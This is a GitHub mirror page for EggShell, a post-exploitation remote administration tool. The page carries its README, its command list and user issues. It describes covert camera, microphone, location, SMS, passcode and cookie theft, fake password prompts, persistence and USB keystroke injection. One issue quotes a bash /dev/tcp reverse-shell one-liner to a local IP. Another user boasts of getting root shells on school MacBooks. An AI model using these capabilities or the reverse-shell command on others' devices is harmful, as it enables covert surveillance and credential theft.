Git Product home page Git Product logo

lucasjacks0n / eggshell Goto Github PK

View Code? Open in Web Editor NEW
1.6K 113.0 383.0 8.75 MB

iOS/macOS/Linux Remote Administration Tool

License: GNU General Public License v2.0

Python 34.48% Objective-C 41.38% Makefile 1.57% Objective-C++ 4.13% Logos 3.30% C 15.13%
ios macos pentest-tool pentest-scripts information-security metasploit exploitation remote-admin-tool meterpreter reverse-shell jailbreak

eggshell's Introduction

About

EggShell is a post exploitation surveillance tool written in Python. It gives you a command line session with extra functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading files, tab completion, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more. This is project is a proof of concept, intended for use on machines you own.

Main menu

For detailed information and how-to visit http://lucasjackson.io/eggshell

Follow me on twitter: @neoneggplant


New In Version 3.0.0

  • More secure socket connection using SSL
  • Linux support
  • Tab completion
  • Improved over all structure and efficiency of session handling
  • Native iOS python support for 64 bit devices

Getting Started

  • Requires python 2.7

macOS/Linux Installation

git clone https://github.com/neoneggplant/eggshell
cd eggshell
python eggshell.py

iOS (Jailbroken)

Add Cydia source: http://lucasjackson.io/repo Install EggShell 3 Use any mobile terminal application and run the command eggshell

Main menu


Creating Payloads

Eggshell payloads are executed on the target machine. The payload first sends over instructions for getting and sending back device details to our server and then chooses the appropriate executable to establish a secure remote control session.

bash

Selecting bash from the payload menu will give us a 1 liner that establishes an eggshell session upon execution on the target machine

Bash payload

teensy macOS (USB injection)

Teensy is a USB development board that can be programmed with the Arduino ide. It emulates usb keyboard strokes extremely fast and can inject the EggShell payload just in a few seconds.

Teensy macOS payload

Selecting teensy will give us an arduino based payload for the teensy board.

Teensy macOS payload

After uploading to the teensy, we can use the device to plug into a macOS usb port. Once connected to a computer, it will automatically emulate the keystrokes needed to execute a payload.

Teensy macOS payload


Interacting with a session

Session interaction

After a session is established, we can execute commands on that device through the EggShell command line interface. We can show all the available commands by typing "help"

Command help

Taking Pictures

Session interaction

Both iOS and macOS payloads have picture taking capability. The picture command lets you take a picture from the iSight on macOS as well as the front or back camera on iOS.

Tab Completion

Similar to most command line interfaces, EggShell supports tab completion. When you start typing the path to a directory or filename, we can complete the rest of the path using the tab key.

Tab completion


Multihandler

The Multihandler option lets us handle multiple sessions. We can choose to interact with different devices while listening for new connections in the background.

Drawing

Similar to the session interface, we can type "help" to show Multihandler commands

Drawing


Featured

Featured in EverythingApplePro's video demonstrating an iOS 9.3.3 Webkit vulnerability used to run EggShell

EverythingApplePro


Special Thanks

  • Linus Yang / Ryley Angus for the iOS Python package
  • AlessandroZ for LaZagne

DISCLAMER

By using EggShell, you agree to the GNU General Public License v2.0 included in the repository. For more details at http://www.gnu.org/licenses/gpl-2.0.html. Using EggShell for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.


Commands

macOS

  • brightness : adjust screen brightness
  • cd : change directory
  • download : download file
  • getfacebook : retrieve facebook session cookies
  • getpaste : get pasteboard contents
  • getvol : get speaker output volume
  • idletime : get the amount of time since the keyboard/cursor were touched
  • imessage : send message through the messages app
  • itunes : iTunes Controller
  • keyboard : your keyboard -> is target's keyboard
  • lazagne : firefox password retrieval | (https://github.com/AlessandroZ/LaZagne/wiki)
  • ls : list contents of a directory
  • mic : record mic
  • persistence : attempts to re establish connection after close
  • picture : take picture through iSight
  • pid : get process id
  • prompt : prompt user to type password
  • screenshot : take screenshot
  • setvol : set output volume
  • sleep : put device into sleep mode
  • su : su login
  • suspend : suspend current session (goes back to login screen)
  • upload : upload file

iOS

  • alert : make alert show up on device
  • battery : get battery level
  • bundleids : list bundle identifiers
  • cd : change directory
  • dhome : simulate a double home button press
  • dial : dial a phone number
  • download : download file
  • getcontacts : download addressbook
  • getnotes : download notes
  • getpasscode : retreive the device passcode
  • getsms : download SMS
  • getvol : get volume level
  • home : simulate a home button press
  • installpro : install substrate commands
  • ipod : control music player
  • islocked : check if the device is locked
  • lastapp : get last opened application
  • locate : get device location coordinates
  • locationservice: toggle location services
  • lock : simulate a lock button press
  • ls : list contents of a directory
  • mic : record mic
  • mute : update and view mute status
  • open : open apps
  • openurl : open url on device
  • persistence : attempts to re establish connection after close
  • picture : take picture through the front or back camera
  • pid : get process id
  • respring : restart springboard
  • safemode : put device into safe mode
  • say : text to speach
  • setvol : set device volume
  • sysinfo : view system information
  • upload : upload file
  • vibrate : vibrate device

Linux

  • cd : change directory
  • download : download file
  • ls : list contents of a directory
  • pid : get process id
  • pwd : show current directory
  • upload : upload file

eggshell's People

Contributors

lucasjacks0n avatar nerdtron123 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

eggshell's Issues

Backdoor on iOS?

it's works only on iOS jailbroken if I have understand correctly... But if I try to code a backdoor for iOS with Xcode with system(""), there is a warning that warn me that system is deprecated from iOS 8...
It works the same also if there is this warn?
And could you also add no-ip compatibility for static ip address out of local network?

Session doesn't work!

this is what I get !

[] Session 1 opened | root@USER MacBook Air 00.00.00.00
MultiSession> interact 1
[
] type "help" for commands
root@USER MacBook Air> ls
something went wrong
MultiSession> sessions
[*] Total Sessions: 1
[Errno 22] Invalid argument

MultiSession>

What is happening ?? it worked before perfect, but now it doesn't for some reason :(

More commands for MacOS?

hey, I've been getting a lot of root shells with the rubberducky from my school since they use macbook air. but almost half of the commands I make is "exec" since there is not so "many" ones included. Will there be more commands for macOS in the future? and the "screenshot" command doesn't work even if I have root access, I need to type "exec screencapture -x 1.png"

Device Unrecognized

I get the below error from an iPhone 6S Plus via Safari trying to connect back to my mac

unrecognized device

Issue when using option 1 (Start Server)

  • Using iPad 2 (64GB) with iOS 9.3.3

  • I press option one and the program will crash after going though setting up the LPORT

  • If the program does not crash, it will freeze and not do anything and has to be closed via Task Manager.

I don't know what this error is but it should be fixed.

this payload now needs root?

many functions of the payload can be executed without escalated permissions. All we need for this payload to work is merely a sandbox bypass. now with the new commit, it makes it that it freezes at connection which stops all other connections, with no warning + idk if the 5 second kill if not responding feature works.

command parsing

Create directory named /tmp/lls / on ur local computer then connect to ios device and do lls /tmp/lls / and it will fail.

Android soupport

As long as this shell works only on a jailbroaken ios you can make a same shell for android??There's no shell for android so cool like this...

Yhx and sorry for my englesh

Exploit

If the payload that was sent fails then you kill the multiserver.better connection handling is needed

Port 4444, 4445
User connects to 4444
New thread then listen again on 4444
Handshake
Payload sent with connection and we listen on 4445 for them back

4445:
We would handle the payload connections here with also multithreaded approaches

Failed

I have try to use this exploit on a VM with Mac OS X Sierra, but the responde is wrong error

How to connect eggshell to a normal ios??

Hello,I have understod that on a Mac you have just to run that bash script,but in ios exept writing aplications with that code how can i send the payload??

I own an ios 10 device non jailbroken....and i want to practise on it..
Thank you

I don't know what's happening!

MultiSession> Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 801, in __bootstrap_inner
self.run()
File "/usr/local/Cellar/python/2.7.13/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 754, in run
self.__target(*self.__args, **self.__kwargs)
File "/Users/username/EggShell/src/server/server.py", line 146, in multiServerListen
if session.uid == self.sessions[sx].uid:
AttributeError: 'NoneType' object has no attribute 'uid'

Colors Doesn't Work on Windows.

Hey, I use eggshell on both MacOS and Windows but after you guys "fixed the colors" there was no colors for windows anymore. It's all in white. Please fix!

exploit command

command 'exploit' will try some good shit, like seeing if su or sudo exists and trying default passwords etc etc

one-liner fails with zsh, csh

csh

[PC:~] user% bash &> /dev/tcp/192.168.1.2/4444 0>&1
Ambiguous output redirect.
[PC:~] user% ^ no execution

zsh

user@PC[06:30:41] [~] 
-> % bash &> /dev/tcp/192.168.1.2/4444 0>&1
zsh: no such file or directory: /dev/tcp/192.168.1.2/4444
user@PC [06:30:44] [~] 
-> %  ^ no execution       

This is easily solved by wrapping the payload with

bash -c "<payload>"

Getting error when client connects to server.

'something went wrong'
Error:
"Traceback (most recent call last):
File "eggshell.py", line 108, in
main()
File "eggshell.py", line 104, in main
menu()
File "eggshell.py", line 55, in menu
chooseoption
File "eggshell.py", line 90, in menuStartMultiServer
server.multiServer(sp[0],sp[1]);
File "/Users/USERNAME/Documents/Folders/EggShell/src/server/server.py", line 208, in multiServer
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect( (host,port))
File "/usr/local/Cellar/python/2.7.12_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
TypeError: an integer is required"

Multiserver issue!?

When I'm in a session and there's a new session getting connected I get kicked back to the "Multiserver menu" so I need to connect back to the session I was in.. this is pretty annoying if you are downloading something and you get kicked out of it just because there's a new session. Is this an issue or is this made on purpose?!

woot root

different approach for root shit
don't check for root in the installpro thing in espl binary
instead have a method to get uid
and check locally

exec cmd

make exec work on macos and ios by doing the following:

$cmd is command

system($cmd+" >/tmp/esplcmdoutput 2>&1")

and then send back file contents of /tmp/esplcmdoutput

Error Message

I've been with this for days, can you help me? I am running this on VM.

error

rip, we need another way in

if this RAT isn't given root already, we need a way to obtain root.

  1. If the default password is still there, root.
  2. If the substrate extension is installed, root.

#8 in this pull request the "waiting for connection" was fixed, the issue was writing to directories we had no permission to write to, which meant the rat had to be run as root.

make it that we can drop binaries

we could probably make a little database that has a bunch of tools allowing us to do a command 'root' and it'd automatically determine iOS version + device to find a proper jailbreak tool, so in turn we could get root if not running as root. I understand this is a payload application ๐Ÿคทโ€โ™‚๏ธ but we could expand it

"device unrecognized"

I think this is caused by any connection that isn't from Safari/an iPhone/iDevice.
Any fix?
`
โ†[0;36m[] โ†[0;97mConnecting to 123.125.143.65
โ†[0;36m[
] โ†[0;97mdevice unrecognized
D573BA5A4EFFC3FB629308

โ†[0;36m[] โ†[0;97mWaiting For Target...
โ†[0;36m[
] โ†[0;97mSending Payload
Traceback (most recent call last):
File "eggshell.py", line 744, in
main()
File "eggshell.py", line 741, in main
interactiveMenu()
File "eggshell.py", line 733, in interactiveMenu
chooseoption
File "eggshell.py", line 527, in menuCreateScript
promptServerRun(sp[0],sp[1])
File "eggshell.py", line 507, in promptServerRun
singleServer(host,port)
File "eggshell.py", line 476, in singleServer
session.listen(1,host,port)
File "eggshell.py", line 618, in listen
conn.send(preload)
File "D:\Python27\lib\socket.py", line 174, in _dummy
raise error(EBADF, 'Bad file descriptor')
socket.error: [Errno 9] Bad file descriptor

D:\Downloads\EggShell-master>`

Shell has a lot of errors.

There is a lot of errors on my sessions.. some commands either doesn't work or when commands are executed there will be a blank space and nothing happens. Netcat is working fine with no errors. I thought first it was some mistake I made on the script for the rubber ducky but It seems it isn't.
Thanks for reading. Hope this gets resolved :)

Installpro won't work

9b3c2d8a2104fbbe82259cfa6fb0095d

This has happened to me every time I try to use installpro.

Iphone 6
Ios 10.2
Latest Yalu beta

Exploit a victim can use to turn off your server

A victim could send incorrect data therefore breaking your server and disconnecting all clients.

How to replicate:

  1. Create a server.
  2. Connect with an OS X client that has no camera.
  3. Execute the 'picture' command. You will get a message back about can't get file size.
  4. Press enter again, and you'll get an error "we fucked up" and if the program doesn't crash, when you click enter again it will. This also affects multi-servers.
    How to fix:
    Make it that if there's an exception in data received, it will not kill your connection. (Catch the exception properly)

getpasscode command error "Input strings must be a multiple of 16 in length"

Issue

getpasscode command fails to return passcode

Expected behaviour

Return Passcode

Actual behaviour

Returns error "Input strings must be a multiple of 16 in length"

Steps to reproduce

  1. Set device passcode to 4 digits e.g. 0000
  2. Execute payload on target machine & connect back
  3. run getpasscode command

screen shot 2017-04-19 at 11 16 24

Eggshell installation error

First line in red:
Sub-Process /usr/libexec/cydia/cydo returned an error code (1)

Second line in red:
Subprocess post-installation script returned an error exit status 133

when running on ios jailbroken

i installed python on my ios using mterminal on 10.1.1
but whenever i do python eggshell.py it says i should do easy_install pycrypto but when i do that
it still exists that error
does anyone have any deb file for pycrypto? to run the py?

Problem while receive connection from client

I'm using the last version but here it's my problem ervytime a client connect :
SET LHOST (Leave blank for 192.168.1.29)>
[] LHOST = 192.168.1.29
SET LPORT (Leave blank for 4444)>
[
] LPORT = 4444
[] Listening on port 4444...
[
] Connecting to 82...***
[*] device unrecognized
bash: no job control in this shell

[*] closing connection

make keylog great again

make espl hook uikit which I believe will allow it to hook all applications which would fix keylog in apps?

Most commands dont work

When I try running commands on a victim that download something, for some reason it doesnt download them..... it will just drop the session...

User@User> download Screen Shot 2017-02-23 at 12.45.08 PM.png
[*]  file size: 96864
[*]  Downloading data/Screen Shot 2017-02-23 at 12.45.08 PM.png (95448/96864) bytes
MultiSession>
[*]  Session 6 opened | User@User IP.HERE
MultiSession> interact 6
User@User> picture
[*]  file size: 171211
[*]  Downloading data/isight20170302230542.jpeg (171211/171211) bytes
MultiSession>

Stuck on "Waiting for Connection..."

EggShell> 1
SET LHOST (Leave blank for ---------)>
[*]  LHOST = ---------
SET LPORT (Leave blank for 4444)>
[*]  LPORT = 4444
[*]  Listening on port 4444...
[*]  Connecting to ---------
[*]  Detected OSX
[*]  Sending Payload
[*]  Waiting For Connection...

User is an admin. Any idea how I might debug this?

EDIT: Just to be clear, the client works on my computer and some others but not all.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.